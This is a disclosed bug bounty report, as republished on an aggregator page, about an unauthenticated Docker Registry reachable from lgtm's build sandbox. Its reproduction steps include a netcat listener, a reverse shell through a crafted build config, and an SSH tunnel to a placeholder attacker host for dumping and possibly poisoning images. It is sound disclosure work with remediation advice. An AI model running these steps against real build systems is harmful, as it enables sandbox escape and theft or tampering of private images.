Skip to content
Misconfiguration Disclosed report Intermediate

Docker Registry HTTP API v2 exposed in HTTP without authentication leads to docker images dumping and poisoning

The Docker Registry HTTP API v2 was exposed over plain HTTP without authentication on port 5000, reachable from a build container. An attacker could dump private Docker images and potentially upload or poison them.

thehackerish Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 7 hours
  • Fixed in 14 hours
  • Paid in 10 hours
  • Disclosed after 2.1 years

Summary: Docker Registry HTTP API v2 is exposed in HTTP without authentication. An attacker can use it to dump your docker images and poison them.

Description: While digging into the environment that hosts the sandboxed build container, I came across the port 5000 open on another machine (probably the host), which is used for Docker Registry (https://docs.docker.com/registry/). I was able to reach the service and dump the lgtm/top repository. I didn't try to upload anything because I didn't want to alter your docker images.

Steps To Reproduce:

  1. Create a GitHub repository that has the attached file, name it .lgtm.yml and modify ATTACKER_HOST and ATTACKER_PORT to yours.
  2. set up a netcat listener: nc -vlp ATTACKER_PORT
  3. Add the project to lgtm, it should start building it. After some time, you should get a reverse shell.
  4. Make a remote SSH tunnel from the build container ssh -R 5555:172.17.0.1:5000 attacker@ATTACKER_HOST -p SSH_PORT -f -N
  5. Enter your attacker password and a SSH tunnel should be up.
  6. Using the docker_fetch tool (https://github.com/NotSoSecure/docker_fetch/), use the url http://127.0.0.1:5555 and dump the repository that you want.
  7. Additionally, you can follow this reference if you would like to test for blob uploads (https://docs.docker.com/registry/spec/api/#initiate-blob-upload) and look for this string /v2/<name>/blobs/uploads/. I tried to initiate an upload and it gave me the uuid of the upload, which means no restriction is made for uploads.

NOTE: Even if the shell is lost from the sandbox, the SSH Tunnel still works. This might mean a sandbox escape

Supporting Material/References:

*A writeup about the vulnerability in a pentest: https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/ *The Docker Registry Doc: https://docs.docker.com/registry/spec/api/#initiate-blob-upload

Remediation:

  1. Implement authentication to the service.
  2. Use HTTPS
  3. Limit the possibility of reverse shells by whitelisting only useful ports ( It might be challenging because of the purpose of the build sandbox)

Impact

An attacker can use it to dump your docker images and poison them.

The original report as published on HackerOne, by thehackerish. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the registry was deployed without authentication and served over plain HTTP, and the build sandbox network allowed access to the host's registry port.

Impact

An attacker could dump private Docker images and potentially poison them; the reporter did not attempt an upload, but the registry returned an upload UUID, indicating uploads were not restricted.

What the attacker needed

Access to a build sandbox; ability to add a project to lgtm; network reachability to the registry port

The fix

The registry should require authentication, be served over HTTPS, and the build sandbox should restrict outbound connections to only necessary ports.

How it was found

  1. Create a GitHub repository with a .lgtm.yml file pointing to the attacker's host and port.
  2. Start a netcat listener on the attacker port.
  3. Add the project to lgtm and wait for the build to produce a reverse shell.
  4. Create a remote SSH tunnel from the build container to the registry port on the host.
  5. Use the docker_fetch tool against the tunnel URL to dump a repository.
  6. Optionally test blob upload initiation and observe that a UUID is returned.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A Docker registry is a server that stores Docker images, the packaged files used to run containers. This one was reachable without a password and over an unencrypted connection, so anyone who could reach the port could download the images. The reporter also found that the server accepted the start of an upload, suggesting images could be replaced.

What is Misconfiguration?

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.

More by thehackerish

View all

1 more disclosed report, best first.

More from Semmle

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Security misconfiguration

The lesson behind this report.

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.